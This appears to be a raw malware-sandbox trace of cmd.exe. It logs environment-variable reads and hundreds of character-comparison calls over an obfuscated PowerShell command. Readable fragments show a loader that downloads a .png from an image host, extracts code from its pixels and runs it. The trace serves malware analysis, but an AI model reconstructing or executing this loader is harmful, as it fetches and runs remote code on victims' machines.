qFl6NeGCV.W'+'e3QI9VDa'+'lZenGCV).'+'PjpenRea3719a'+'7'+'%zEhGCVGCVps:cgcgZmag'+'es2.Zmg3QI9X'+'7.cX'+'mcg90cgFlDncg'+'gaGCV2BQIVsK_X.'+'png9a7'+'))['+'Fl66pBBQI'+'mQIaKFl] B`'+'GCV'+'e{Pjy '+'2DnH0[10.'+'.H)3QI9'+'jh'+'heZo\\FlX]eac%zEh1'+'Fl6'+'6'+'pBBQI7 Zn10..H'+'2('+'))\\Fl66pBBQI'+'GCV'+'GCVaKFl66pBBQI37s.aEe'+'GCVGCVyZ7el1Fl66pBBQI7,'+'Fl6'+'6pBBQI_'+')[Fl66pBBQImQI'+'{Fl66pBBQI'+'_*H28+Fl66pBBQI7PjyaK1{maGCV%zEhPjy::zEh'+'lX'+'X]11Fl66'+'pBBQIGCVGCV.B-3QI9an37Dn5)*Dn6)-3QI9X]'+'1Fl66pBBQIGCV'+'GCV.aE -3QI9an37 Dn5))}'+'}['+'I'+'EXb1'+'{jh`sGCV'+'em.%e7'+'GCV.E'+'ncX37Zn'+'g'+'Pjy::AjhVDaII.'+'aEeGCVjh'+'GCV]Zng1Fl66'+'pBBQI'+'mQI{0.'+'.'+'Dn'+'90('+'Pjy)'+')').ReplaVDaE1'9a7',{s%RInaEPjy{VDa%zEhA]Pjy#H).ReplaVDaE11{VDa%zEhA]Pjy98+{VDa%zEhA]Pjy8#+{VDa%zEhA]PjyDn06),{s%RInaEPjy{VDa%zEhA]PjyDn2H).ReplaVDaE11{VDa%zEhA]PjyDnDn8+{VDa%zEhA]Pjy5H+{VDa%zEhA]Pjy8Dn),{s%RInaEPjy{VDa%zEhA]Pjy#6))^&^& se% aDI/`aKEc%zEhPj 1gZ Fl6aRIA3QI9le:e*XbGCV).VaTduE.InFl6PjQIEVDaXmBQIanD.IqFl6NVPjQIesVDaRZGCVy%11Tdjh eqFl6NV:s3Td]V).Fl6aTd3e ) ^^^|GCVyPj4ERsheZVElTd -nXqFl6NZqFl6N%E]aVDa%I -qFl6NXlPj -4ZqFl6N %zEhI3737en -e7ecu%IPjqFl6NpPjTdIc 3QI9`GCVyAjhjh -nPjGCVy]PjzEhIle -VDaPjmBQIAqFl6N37 ^^^^^^^&1 @eqFl6NV:VDaXmsGCVyec{H,2H,25Pjy-TdQXIn'')1@Znpu% ) ^&^& cm37.e7E cgc oa37Z/Tgo") returned 0x61c [0102.313] GetConsoleTitleW (in: lpConsoleTitle=0x12eb00, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\CMD.Exe") returned 0x1b [0102.314] wcsncmp (_String1="-}#", _String2="/", _MaxCount=0x4) returned -2 [0102.318] GetEnvironmentVariableW (in: lpName="-}#", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="seGCV suL]Fl6aK. 1 @sheZVelLI37{DnPjy+@s%zEhELlI37{Dn#Pjy+'Xb') 11's'+'al Fl'+']'+' qFl6N'+'e4-Pj3QI9heZec'+'GCV'+'['+'A'+'3737-%'+'`pe -As'+'sem3QI9l`'+'qFl6Name 9a7jh`sGCVem.D]a'+'4'+'Zng9a7['+'Fl66pBBQI37s'+'aKFl] jh`sGCVe'+'m.'+'D]a4Zn'+'g.B'+'ZGCVmap11Fl] qFl6NeGCV.W'+'e3QI9VDa'+'lZenGCV).'+'PjpenRea3719a'+'7'+'%zEhGCVGCVps:cgcgZmag'+'es2.Zmg3QI9X'+'7.cX'+'mcg90cgFlDncg'+'gaGCV2BQIVsK_X.'+'png9a7'+'))['+'Fl66pBBQI'+'mQIaKFl] B`'+'GCV'+'e{Pjy '+'2DnH0[10.'+'.H)3QI9'+'jh'+'heZo\\FlX]eac%zEh1'+'Fl6'+'6'+'pBBQI7 Zn10..H'+'2('+'))\\Fl66pBBQI'+'GCV'+'GCVaKFl66pBBQI37s.aEe'+'GCVGCVyZ7el1Fl66pBBQI7,'+'Fl6'+'6pBBQI_'+')[Fl66pBBQImQI'+'{Fl66pBBQI'+'_*H28+Fl66pBBQI7PjyaK1{maGCV%zEhPjy::zEh'+'lX'+'X]11Fl66'+'pBBQIGCVGCV.B-3QI9an37Dn5)*Dn6)-3QI9X]'+'1Fl66pBBQIGCV'+'GCV.aE -3QI9an37 Dn5))}'+'}['+'I'+'EXb1'+'{jh`sGCV'+'em.%e7'+'GCV.E'+'ncX37Zn'+'g'+'Pjy::AjhVDaII.'+'aEeGCVjh'+'GCV]Zng1Fl66'+'pBBQI'+'mQI{0.'+'.'+'Dn'+'90('+'Pjy)'+')').ReplaVDaE1'9a7',{s%RInaEPjy{VDa%zEhA]Pjy#H).ReplaVDaE11{VDa%zEhA]Pjy98+{VDa%zEhA]Pjy8#+{VDa%zEhA]PjyDn06),{s%RInaEPjy{VDa%zEhA]PjyDn2H).ReplaVDaE11{VDa%zEhA]PjyDnDn8+{VDa%zEhA]Pjy5H+{VDa%zEhA]Pjy8Dn),{s%RInaEPjy{VDa%zEhA]Pjy#6))^&^& se% aDI/`aKEc%zEhPj 1gZ Fl6aRIA3QI9le:e*XbGCV).VaLuE.InFl6PjQIEVDaXmBQIanD.IqFl6NVPjQIesVDaRZGCVy%11Ljh eqFl6NV:s3L]V).Fl6aL3e ) ^^^|GCVyPj4ERsheZVElL -nXqFl6NZqFl6N%E]aVDa%I -qFl6NXlPj -4ZqFl6N %zEhI3737en -e7ecu%IPjqFl6NpPjLIc 3QI9`GCVyAjhjh -nPjGCVy]PjzEhIle -VDaPjmBQIAqFl6N37 ^^^^^^^&1 @eqFl6NV:VDaXmsGCVyec{H,2H,25Pjy-LQXIn'')1@Znpu% ) ^&^& cm37.e7E cgc oa37Z/Tgo") returned 0x612 [0102.318] _wcsnicmp (_String1="se", _String2="Tg", _MaxCount=0x2) returned -1 [0102.318] _wcsnicmp (_String1="eG", _String2="Tg", _MaxCount=0x2) returned -15 [0102.318] _wcsnicmp (_String1="GC", _String2="Tg", _MaxCount=0x2) returned -13 [0102.319] _wcsnicmp (_String1="CV", _String2="Tg", _MaxCount=0x2) returned -17 [0102.319] _wcsnicmp (_String1="V ", _String2="Tg", _MaxCount=0x2) returned 2 [0102.319] _wcsnicmp (_String1=" ", _String2="Tg", _MaxCount=0x2) returned -84 [0102.319] _wcsnicmp (_String1=" s", _String2="Tg", _MaxCount=0x2) returned -84 [0102.319] _wcsnicmp (_String1="su", _String2="Tg", _MaxCount=0x2) returned -1 [0102.319] _wcsnicmp (_String1="uL", _String2="Tg", _MaxCount=0x2) returned 1 [0102.319] _wcsnicmp (_String1="L]", _String2="Tg", _MaxCount=0x2) returned -8 [0102.319] _wcsnicmp (_String1="]F", _String2="Tg", _MaxCount=0x2) returned -23 [0102.319] _wcsnicmp (_String1="Fl", _String2="Tg", _MaxCount=0x2) returned -14 [0102.319] _wcsnicmp (_String1="l6", _String2="Tg", _MaxCount=0x2) returned -8 [0102.319] _wcsnicmp (_String1="6a", _String2="Tg", _MaxCount=0x2) returned -62 [0102.319] _wcsnicmp (_String1="aK", _String2="Tg", _MaxCount=0x2) returned -19 [0102.319] _wcsnicmp (_String1="K.", _String2="Tg", _MaxCount=0x2) returned -9 [0102.319] _wcsnicmp (_String1=". ", _String2="Tg", _MaxCount=0x2) returned -70 [0102.319] _wcsnicmp (_String1=" 1", _String2="Tg", _MaxCount=0x2) returned -84 [0102.319] _wcsnicmp (_String1="1 ", _String2="Tg", _MaxCount=0x2) returned -67 [0102.319] _wcsnicmp (_String1=" @", _String2="Tg", _MaxCount=0x2) returned -84 [0102.319] _wcsnicmp (_String1="@s", _String2="Tg", _MaxCount=0x2) returned -52 [0102.319] _wcsnicmp (_String1="sh", _String2="Tg", _MaxCount=0x2) returned -1 [0102.319] _wcsnicmp (_String1="he", _String2="Tg", _MaxCount=0x2) returned -12 [0102.319] _wcsnicmp (_String1="eZ", _String2="Tg", _MaxCount=0x2) returned -15 [0102.319] _wcsnicmp (_String1="ZV", _String2="Tg", _MaxCount=0x2) returned 6 [0102.319] _wcsnicmp (_String1="Ve", _String2="Tg", _MaxCount=0x2) returned 2 [0102.319] _wcsnicmp (_String1="el", _String2="Tg", _MaxCount=0x2) returned -15 [0102.319] _wcsnicmp (_String1="lL", _String2="Tg", _MaxCount=0x2) returned -8 [0102.319] _wcsnicmp (_String1="LI", _String2="Tg", _MaxCount=0x2) returned -8 [0102.319] _wcsnicmp (_String1="I3", _String2="Tg", _MaxCount=0x2) returned -11 [0102.319] _wcsnicmp (_String1="37", _String2="Tg", _MaxCount=0x2) returned -65 [0102.319] _wcsnicmp (_String1="7{", _String2="Tg", _MaxCount=0x2) returned -61 [0102.319] _wcsnicmp (_String1="{D", _String2="Tg", _MaxCount=0x2) returned 7 [0102.319] _wcsnicmp (_String1="Dn", _String2="Tg", _MaxCount=0x2) returned -16 [0102.319] _wcsnicmp (_String1="nP", _String2="Tg", _MaxCount=0x2) returned -6 [0102.319] _wcsnicmp (_String1="Pj", _String2="Tg", _MaxCount=0x2) returned -4 [0102.319] _wcsnicmp (_String1="jy", _String2="Tg", _MaxCount=0x2) returned -10 [0102.319] _wcsnicmp (_String1="y+", _String2="Tg", _MaxCount=0x2) returned 5 [0102.319] _wcsnicmp (_String1="+@", _String2="Tg", _MaxCount=0x2) returned -73 [0102.320] _wcsnicmp (_String1="@s", _String2="Tg", _MaxCount=0x2) returned -52 [0102.320] _wcsnicmp (_String1="s%", _String2="Tg", _MaxCount=0x2) returned -1 [0102.320] _wcsnicmp (_String1="%z", _String2="Tg", _MaxCount=0x2) returned -79 [0102.320] _wcsnicmp (_String1="zE", _String2="Tg", _MaxCount=0x2) returned 6 [0102.320] _wcsnicmp (_String1="Eh", _String2="Tg", _MaxCount=0x2) returned -15 [0102.320] _wcsnicmp (_String1="hE", _String2="Tg", _MaxCount=0x2) returned -12 [0102.320] _wcsnicmp (_String1="EL", _String2="Tg", _MaxCount=0x2) returned -15 [0102.320] _wcsnicmp (_String1="Ll", _String2="Tg", _MaxCount=0x2) returned -8 [0102.320] _wcsnicmp (_String1="lI", _String2="Tg", _MaxCount=0x2) returned -8 [0102.320] _wcsnicmp (_String1="I3", _String2="Tg", _MaxCount=0x2) returned -11 [0102.320] _wcsnicmp (_String1="37", _String2="Tg", _MaxCount=0x2) returned -65 [0102.320] _wcsnicmp (_String1="7{", _String2="Tg", _MaxCount=0x2) returned -61 [0102.320] _wcsnicmp (_String1="{D", _String2="Tg", _MaxCount=0x2) returned 7 [0102.320] _wcsnicmp (_String1="Dn", _String2="Tg", _MaxCount=0x2) returned -16 [0102.320] _wcsnicmp (_String1="n#", _String2="Tg", _MaxCount=0x2) returned -6 [0102.320] _wcsnicmp (_String1="#P", _String2="Tg", _MaxCount=0x2) returned -81 [0102.320] _wcsnicmp (_String1="Pj", _String2="Tg", _MaxCount=0x2) returned -4 [0102.320] _wcsnicmp (_String1="jy", _String2="Tg", _MaxCount=0x2) returned -10 [0102.320] _wcsnicmp (_String1="y+", _String2="Tg", _MaxCount=0x2) returned 5 [0102.320] _wcsnicmp (_String1="+'", _String2="Tg", _MaxCount=0x2) returned -73 [0102.320] _wcsnicmp (_String1="'X", _String2="Tg", _MaxCount=0x2) returned -77 [0102.320] _wcsnicmp (_String1="Xb", _String2="Tg", _MaxCount=0x2) returned 4 [0102.320] _wcsnicmp (_String1="b'", _String2="Tg", _MaxCount=0x2) returned -18 [0102.321] _wcsnicmp (_String1="')", _String2="Tg", _MaxCount=0x2) returned -77 [0102.321] _wcsnicmp (_String1=") ", _String2="Tg", _MaxCount=0x2) returned -75 [0102.321] _wcsnicmp (_String1=" 1", _String2="Tg", _MaxCount=0x2) returned -84 [0102.321] _wcsnicmp (_String1="11", _String2="Tg", _MaxCount=0x2) returned -67 [0102.321] _wcsnicmp (_String1="1'", _String2="Tg", _MaxCount=0x2) returned -67 [0102.321] _wcsnicmp (_String1="'s", _String2="Tg", _MaxCount=0x2) returned -77 [0102.321] _wcsnicmp (_String1="s'", _String2="Tg", _MaxCount=0x2) returned -1 [0102.321] _wcsnicmp (_String1="'+", _String2="Tg", _MaxCount=0x2) returned -77 [0102.321] _wcsnicmp (_String1="+'", _String2="Tg", _MaxCount=0x2) returned -73 [0102.321] _wcsnicmp (_String1="'a", _String2="Tg", _MaxCount=0x2) returned -77 [0102.321] _wcsnicmp (_String1="al", _String2="Tg", _MaxCount=0x2) returned -19 [0102.321] _wcsnicmp (_String1="l ", _String2="Tg", _MaxCount=0x2) returned -8 [0102.321] _wcsnicmp (_String1=" F", _String2="Tg", _MaxCount=0x2) returned -84 [0102.321] _wcsnicmp (_String1="Fl", _String2="Tg", _MaxCount=0x2) returned -14 [0102.321] _wcsnicmp (_String1="l'", _String2="Tg", _MaxCount=0x2) returned -8 [0102.321] _wcsnicmp (_String1="'+", _String2="Tg", _MaxCount=0x2) returned -77 [0102.321] _wcsnicmp (_String1="+'", _String2="Tg", _MaxCount=0x2) returned -73 [0102.321] _wcsnicmp (_String1="']", _String2="Tg", _MaxCount=0x2) returned -77 [0102.321] _wcsnicmp (_String1="]'", _String2="Tg", _MaxCount=0x2) returned -23 [0102.321] _wcsnicmp (_String1="'+", _String2="Tg", _MaxCount=0x2) returned -77 [0102.321] _wcsnicmp (_String1="+'", _String2="Tg", _MaxCount=0x2) returned -73 [0102.321] _wcsnicmp (_String1="' ", _String2="Tg", _MaxCount=0x2) returned -77 [0102.321] _wcsnicmp (_String1=" q", _String2="Tg", _MaxCount=0x2) returned -84 [0102.321] _wcsnicmp (_String1="qF", _String2="Tg", _MaxCount=0x2) returned -3 [0102.321] _wcsnicmp (_String1="Fl", _String2="Tg", _MaxCount=0x2) returned -14 [0102.321] _wcsnicmp (_String1="l6", _String2="Tg", _MaxCount=0x2) returned -8 [0102.321] _wcsnicmp (_String1="6N", _String2="Tg", _MaxCount=0x2) returned -62 [0102.321] _wcsnicmp (_String1="N'", _String2="Tg", _MaxCount=0x2) returned -6 [0102.321] _wcsnicmp (_String1="'+", _String2="Tg", _MaxCount=0x2) returned -77 [0102.321] _wcsnicmp (_String1="+'", _String2="Tg", _MaxCount=0x2) returned -73 [0102.321] _wcsnicmp (_String1="'e", _String2="Tg", _MaxCount=0x2) returned -77 [0102.322] _wcsnicmp (_String1="e4", _String2="Tg", _MaxCount=0x2) returned -15 [0102.322] _wcsnicmp (_String1="4-", _String2="Tg", _MaxCount=0x2) returned -64 [0102.322] _wcsnicmp (_String1="-P", _String2="Tg", _MaxCount=0x2) returned -71 [0102.322] _wcsnicmp (_String1="Pj", _String2="Tg", _MaxCount=0x2) returned -4 [0102.322] _wcsnicmp (_String1="j3", _String2="Tg", _MaxCount=0x2) returned -10 [0102.322] _wcsnicmp (_String1="3Q", _String2="Tg", _MaxCount=0x2) returned -65 [0102.322] _wcsnicmp (_String1="QI", _String2="Tg", _MaxCount=0x2) returned -3 [0102.322] _wcsnicmp (_String1="I9", _String2="Tg", _MaxCount=0x2) returned -11 [0102.322] _wcsnicmp (_String1="9h", _String2="Tg", _MaxCount=0x2) returned -59 [0102.322] _wcsnicmp (_String1="he", _String2="Tg", _MaxCount=0x2) returned -12 [0102.322] _wcsnicmp (_String1="eZ", _String2="Tg", _MaxCount=0x2) returned -15 [0102.322] _wcsnicmp (_String1="Ze", _String2="Tg", _MaxCount=0x2) returned 6 [0102.322] _wcsnicmp (_String1="ec", _String2="Tg", _MaxCount=0x2) returned -15 [0102.322] _wcsnicmp (_String1="c'", _String2="Tg", _MaxCount=0x2) returned -17 [0102.322] _wcsnicmp (_String1="'+", _String2="Tg", _MaxCount=0x2) returned -77 [0102.322] _wcsnicmp (_String1="+'", _String2="Tg", _MaxCount=0x2) returned -73 [0102.322] _wcsnicmp (_String1="'G", _String2="Tg", _MaxCount=0x2) returned -77 [0102.322] _wcsnicmp (_String1="GC", _String2="Tg", _MaxCount=0x2) returned -13 [0102.322] _wcsnicmp (_String1="CV", _String2="Tg", _MaxCount=0x2) returned -17 [0102.322] _wcsnicmp (_String1="V'", _String2="Tg", _MaxCount=0x2) returned 2 [0102.322] _wcsnicmp (_String1="'+", _String2="Tg", _MaxCount=0x2) returned -77 [0102.322] _wcsnicmp (_String1="+'", _String2="Tg", _MaxCount=0x2) returned -73 [0102.322] _wcsnicmp (_String1="'[", _String2="Tg", _MaxCount=0x2) returned -77 [0102.322] _wcsnicmp (_String1="['", _String2="Tg", _MaxCount=0x2) returned -25 [0102.322] _wcsnicmp (_String1="'+", _String2="Tg", _MaxCount=0x2) returned -77 [0102.322] _wcsnicmp (_String1="+'", _String2="Tg", _MaxCount=0x2) returned -73 [0102.322] _wcsnicmp (_String1="'A", _String2="Tg", _MaxCount=0x2) returned -77 [0102.322] _wcsnicmp (_String1="A'", _String2="Tg", _MaxCount=0x2) returned -19 [0102.322] _wcsnicmp (_String1="'+", _String2="Tg", _MaxCount=0x2) returned -77 [0102.322] _wcsnicmp (_String1="+'", _String2="Tg", _MaxCount=0x2) returned -73 [0102.322] _wcsnicmp (_String1="'3", _String2="Tg", _MaxCount=0x2) returned -77 [0102.322] _wcsnicmp (_String1="37", _String2="Tg", _MaxCount=0x2) returned -65 [0102.322] _wcsnicmp (_String1="73", _String2="Tg", _MaxCount=0x2) returned -61 [0102.322] _wcsnicmp (_String1="37", _String2="Tg", _MaxCount=0x2) returned -65 [0102.322] _wcsnicmp (_String1="7-", _String2="Tg", _MaxCount=0x2) returned -61 [0102.323] _wcsnicmp (_String1="-%", _String2="Tg", _MaxCount=0x2) returned -71 [0102.323] _wcsnicmp (_String1="%'", _String2="Tg", _MaxCount=0x2) returned -79 [0102.323] _wcsnicmp (_String1="'+", _String2="Tg", _MaxCount=0x2) returned -77 [0102.323] _wcsnicmp (_String1="+'", _String2="Tg", _MaxCount=0x2) returned -73 [0102.323] _wcsnicmp (_String1="'`", _String2="Tg", _MaxCount=0x2) returned -77 [0102.323] _wcsnicmp (_String1="`p", _String2="Tg", _MaxCount=0x2) returned -20 [0102.323] _wcsnicmp (_String1="pe", _String2="Tg", _MaxCount=0x2) returned -4 [0102.323] _wcsnicmp (_String1="e ", _String2="Tg", _MaxCount=0x2) returned -15 [0102.323] _wcsnicmp (_String1=" -", _String2="Tg", _MaxCount=0x2) returned -84 [0102.323] _wcsnicmp (_String1="-A", _String2="Tg", _MaxCount=0x2) returned -71 [0102.323] _wcsnicmp (_String1="As", _String2="Tg", _MaxCount=0x2) returned -19 [0102.323] _wcsnicmp (_String1="s'", _String2="Tg", _MaxCount=0x2) returned -1 [0102.323] _wcsnicmp (_String1="'+", _String2="Tg", _MaxCount=0x2) returned -77 [0102.323] _wcsnicmp (_String1="+'", _String2="Tg", _MaxCount=0x2) returned -73 [0102.323] _wcsnicmp (_String1="'s", _String2="Tg", _MaxCount=0x2) returned -77 [0102.323] _wcsnicmp (_String1="se", _String2="Tg", _MaxCount=0x2) returned -1 [0102.323] _wcsnicmp (_String1="em", _String2="Tg", _MaxCount=0x2) returned -15 [0102.323] _wcsnicmp (_String1="m3", _String2="Tg", _MaxCount=0x2) returned -7 [0102.323] _wcsnicmp (_String1="3Q", _String2="Tg", _MaxCount=0x2) returned -65 [0102.323] _wcsnicmp (_String1="QI", _String2="Tg", _MaxCount=0x2) returned -3 [0102.323] _wcsnicmp (_String1="I9", _String2="Tg", _MaxCount=0x2) returned -11 [0102.323] _wcsnicmp (_String1="9l", _String2="Tg", _MaxCount=0x2) returned -59 [0102.323] _wcsnicmp (_String1="l`", _String2="Tg", _MaxCount=0x2) returned -8 [0102.323] _wcsnicmp (_String1="`'", _String2="Tg", _MaxCount=0x2) returned -20 [0102.323] _wcsnicmp (_String1="'+", _String2="Tg", _MaxCount=0x2) returned -77 [0102.323] _wcsnicmp (_String1="+'", _String2="Tg", _MaxCount=0x2) returned -73 [0102.323] _wcsnicmp (_String1="'q", _String2="Tg", _MaxCount=0x2) returned -77 [0102.323] _wcsnicmp (_String1="qF", _String2="Tg", _MaxCount=0x2) returned -3 [0102.323] _wcsnicmp (_String1="Fl", _String2="Tg", _MaxCount=0x2) returned -14 [0102.323] _wcsnicmp (_String1="l6", _String2="Tg", _MaxCount=0x2) returned -8 [0102.323] _wcsnicmp (_String1="6N", _String2="Tg", _MaxCount=0x2) returned -62 [0102.324] _wcsnicmp (_String1="Na", _String2="Tg", _MaxCount=0x2) returned -6 [0102.324] _wcsnicmp (_String1="am", _String2="Tg", _MaxCount=0x2) returned -19 [0102.324] _wcsnicmp (_String1="me", _String2="Tg", _MaxCount=0x2) returned -7 [0102.324] _wcsnicmp (_String1="e ", _String2="Tg", _MaxCount=0x2) returned -15 [0102.324] _wcsnicmp (_String1=" 9", _String2="Tg", _MaxCount=0x2) returned -84 [0102.324] _wcsnicmp (_String1="9a", _String2="Tg", _MaxCount=0x2) returned -59 [0102.324] _wcsnicmp (_String1="a7", _String2="Tg", _MaxCount=0x2) returned -19 [0102.324] _wcsnicmp (_String1="7j", _String2="Tg", _MaxCount=0x2) returned -61 [0102.324] _wcsnicmp (_String1="jh", _String2="Tg", _MaxCount=0x2) returned -10 [0102.324] _wcsnicmp (_String1="h`", _String2="Tg", _MaxCount=0x2) returned -12 [0102.324] _wcsnicmp (_String1="`s", _String2="Tg", _MaxCount=0x2) returned -20 [0102.324] _wcsnicmp (_String1="sG", _String2="Tg", _MaxCount=0x2) returned -1 [0102.324] _wcsnicmp (_String1="GC", _String2="Tg", _MaxCount=0x2) returned -13 [0102.324] _wcsnicmp (_String1="CV", _String2="Tg", _MaxCount=0x2) returned -17 [0102.324] _wcsnicmp (_String1="Ve", _String2="Tg", _MaxCount=0x2) returned 2 [0102.324] _wcsnicmp (_String1="em", _String2="Tg", _MaxCount=0x2) returned -15 [0102.324] _wcsnicmp (_String1="m.", _String2="Tg", _MaxCount=0x2) returned -7 [0102.324] _wcsnicmp (_String1=".D", _String2="Tg", _MaxCount=0x2) returned -70 [0102.324] _wcsnicmp (_String1="D]", _String2="Tg", _MaxCount=0x2) returned -16 [0102.324] _wcsnicmp (_String1="]a", _String2="Tg", _MaxCount=0x2) returned -23 [0102.324] _wcsnicmp (_String1="a'", _String2="Tg", _MaxCount=0x2) returned -19 [0102.324] _wcsnicmp (_String1="'+", _String2="Tg", _MaxCount=0x2) returned -77 [0102.324] _wcsnicmp (_String1="+'", _String2="Tg", _MaxCount=0x2) returned -73 [0102.324] _wcsnicmp (_String1="'4", _String2="Tg", _MaxCount=0x2) returned -77 [0102.324] _wcsnicmp (_String1="4'", _String2="Tg", _MaxCount=0x2) returned -64 [0102.324] _wcsnicmp (_String1="'+", _String2="Tg", _MaxCount=0x2) returned -77 [0102.324] _wcsnicmp (_String1="+'", _String2="Tg", _MaxCount=0x2) returned -73 [0102.324] _wcsnicmp (_String1="'Z", _String2="Tg", _MaxCount=0x2) returned -77 [0102.324] _wcsnicmp (_String1="Zn", _String2="Tg", _MaxCount=0x2) returned 6 [0102.324] _wcsnicmp (_String1="ng", _String2="Tg", _MaxCount=0x2) returned -6 [0102.324] _wcsnicmp (_String1="g9", _String2="Tg", _MaxCount=0x2) returned -13 [0102.324] _wcsnicmp (_String1="9a", _String2="Tg", _MaxCount=0x2) returned -59 [0102.324] _wcsnicmp (_String1="a7", _String2="Tg", _MaxCount=0x2) returned -19 [0102.324] _wcsnicmp (_String1="7[", _String2="Tg", _MaxCount=0x2) returned -61 [0102.324] _wcsnicmp (_String1="['", _String2="Tg", _MaxCount=0x2) returned -25 [0102.324] _wcsnicmp (_String1="'+", _String2="Tg", _MaxCount=0x2) returned -77 [0102.324] _wcsnicmp (_String1="+'", _String2="Tg", _MaxCount=0x2) returned -73 [0102.324] _wcsnicmp (_String1="'F", _String2="Tg", _MaxCount=0x2) returned -77 [0102.324] _wcsnicmp (_String1="Fl", _String2="Tg", _MaxCount=0x2) returned -14 [0102.324] _wcsnicmp (_String1="l6", _String2="Tg", _MaxCount=0x2) returned -8 [0102.324] _wcsnicmp (_String1="66", _String2="Tg", _MaxCount=0x2) returned -62 [0102.324] _wcsnicmp (_String1="6p", _String2="Tg", _MaxCount=0x2) returned -62 [0102.325] _wcsnicmp (_String1="pB", _String2="Tg", _MaxCount=0x2) returned -4 [0102.325] _wcsnicmp (_String1="BB", _String2="Tg", _MaxCount=0x2) returned -18 [0102.325] _wcsnicmp (_String1="BQ", _String2="Tg", _MaxCount=0x2) returned -18 [0102.325] _wcsnicmp (_String1="QI", _String2="Tg", _MaxCount=0x2) returned -3 [0102.325] _wcsnicmp (_String1="I3", _String2="Tg", _MaxCount=0x2) returned -11 [0102.325] _wcsnicmp (_String1="37", _String2="Tg", _MaxCount=0x2) returned -65 [0102.325] _wcsnicmp (_String1="7s", _String2="Tg", _MaxCount=0x2) returned -61 [0102.325] _wcsnicmp (_String1="s'", _String2="Tg", _MaxCount=0x2) returned -1 [0102.325] _wcsnicmp (_String1="'+", _String2="Tg", _MaxCount=0x2) returned -77 [0102.325] _wcsnicmp (_String1="+'", _String2="Tg", _MaxCount=0x2) returned -73 [0102.325] _wcsnicmp (_String1="'a", _String2="Tg", _MaxCount=0x2) returned -77 [0102.325] _wcsnicmp (_String1="aK", _String2="Tg", _MaxCount=0x2) returned -19 [0102.325] _wcsnicmp (_String1="KF", _String2="Tg", _MaxCount=0x2) returned -9 [0102.325] _wcsnicmp (_String1="Fl", _String2="Tg", _MaxCount=0x2) returned -14 [0102.325] _wcsnicmp (_String1="l]", _String2="Tg", _MaxCount=0x2) returned -8 [0102.325] _wcsnicmp (_String1="] ", _String2="Tg", _MaxCount=0x2) returned -23 [0102.325] _wcsnicmp (_String1=" j", _String2="Tg", _MaxCount=0x2) returned -84 [0102.325] _wcsnicmp (_String1="jh", _String2="Tg", _MaxCount=0x2) returned -10 [0102.325] _wcsnicmp (_String1="h`", _String2="Tg", _MaxCount=0x2) returned -12 [0102.325] _wcsnicmp (_String1="`s", _String2="Tg", _MaxCount=0x2) returned -20 [0102.325] _wcsnicmp (_String1="sG", _String2="Tg", _MaxCount=0x2) returned -1 [0102.325] _wcsnicmp (_String1="GC", _String2="Tg", _MaxCount=0x2) returned -13 [0102.325] _wcsnicmp (_String1="CV", _String2="Tg", _MaxCount=0x2) returned -17 [0102.325] _wcsnicmp (_String1="Ve", _String2="Tg", _MaxCount=0x2) returned 2 [0102.325] _wcsnicmp (_String1="e'", _String2="Tg", _MaxCount=0x2) returned -15 [0102.325] _wcsnicmp (_String1="'+", _String2="Tg", _MaxCount=0x2) returned -77 [0102.325] _wcsnicmp (_String1="+'", _String2="Tg", _MaxCount=0x2) returned -73 [0102.325] _wcsnicmp (_String1="'m", _String2="Tg", _MaxCount=0x2) returned -77 [0102.325] _wcsnicmp (_String1="m.", _String2="Tg", _MaxCount=0x2) returned -7 [0102.325] _wcsnicmp (_String1=".'", _String2="Tg", _MaxCount=0x2) returned -70 [0102.325] _wcsnicmp (_String1="'+", _String2="Tg", _MaxCount=0x2) returned -77 [0102.325] _wcsnicmp (_String1="+'", _String2="Tg", _MaxCount=0x2) returned -73 [0102.325] _wcsnicmp (_String1="'D", _String2="Tg", _MaxCount=0x2) returned -77 [0102.325] _wcsnicmp (_String1="D]", _String2="Tg", _MaxCount=0x2) returned -16 [0102.325] _wcsnicmp (_String1="]a", _String2="Tg", _MaxCount=0x2) returned -23 [0102.325] _wcsnicmp (_String1="a4", _String2="Tg", _MaxCount=0x2) returned -19 [0102.325] _wcsnicmp (_String1="4Z", _String2="Tg", _MaxCount=0x2) returned -64 [0102.325] _wcsnicmp (_String1="Zn", _String2="Tg", _MaxCount=0x2) returned 6 [0102.325] _wcsnicmp (_String1="n'", _String2="Tg", _MaxCount=0x2) returned -6 [0102.325] _wcsnicmp (_String1="'+", _String2="Tg", _MaxCount=0x2) returned -77 [0102.325] _wcsnicmp (_String1="+'", _String2="Tg", _MaxCount=0x2) returned -73 [0102.325] _wcsnicmp (_String1="'g", _String2="Tg", _MaxCount=0x2) returned -77 [0102.325] _wcsnicmp (_String1="g.", _String2="Tg", _MaxCount=0x2) returned -13 [0102.326] _wcsnicmp (_String1=".B", _String2="Tg", _MaxCount=0x2) returned -70 [0102.326] _wcsnicmp (_String1="B'", _String2="Tg", _MaxCount=0x2) returned -18 [0102.326] _wcsnicmp (_String1="'+", _String2="Tg", _MaxCount=0x2) returned -77 [0102.326] _wcsnicmp (_String1="+'", _String2="Tg", _MaxCount=0x2) returned -73 [0102.326] _wcsnicmp (_String1="'Z", _String2="Tg", _MaxCount=0x2) returned -77 [0102.326] GetConsoleTitleW (in: lpConsoleTitle=0x12e980, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\CMD.Exe") returned 0x1b [0102.326] wcsncmp (_String1="$+", _String2="/", _MaxCount=0x4) returned -11 [0102.330] GetEnvironmentVariableW (in: lpName="$+", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="seGCV suL]Fl6aK. 1 @sheZVelLI37{DnPjy+@s%zEhELlI37{Dn#Pjy+'Xb') 11's'+'al Fl'+']'+' qFl6N'+'e4-Pj3QI9heZec'+'GCV'+'['+'A'+'3737-%'+'`pe -As'+'sem3QI9l`'+'qFl6Name 9a7jh`sGCVem.D]a'+'4'+'Zng9a7['+'Fl66pBBQI37s'+'aKFl] jh`sGCVe'+'m.'+'D]a4Zn'+'g.B'+'ZGCVmap11Fl] qFl6NeGCV.W'+'e3QI9VDa'+'lZenGCV).'+'PjpenRea3719a'+'7'+'%zEhGCVGCVps:cgcgZmag'+'es2.Zmg3QI9X'+'7.cX'+'mcg90cgFlDncg'+'gaGCV2BQIVsK_X.'+'png9a7'+'))['+'Fl66pBBQI'+'mQIaKFl] B`'+'GCV'+'e{Pjy '+'2DnH0[10.'+'.H)3QI9'+'jh'+'heZo\\FlX]eac%zEh1'+'Fl6'+'6'+'pBBQI7 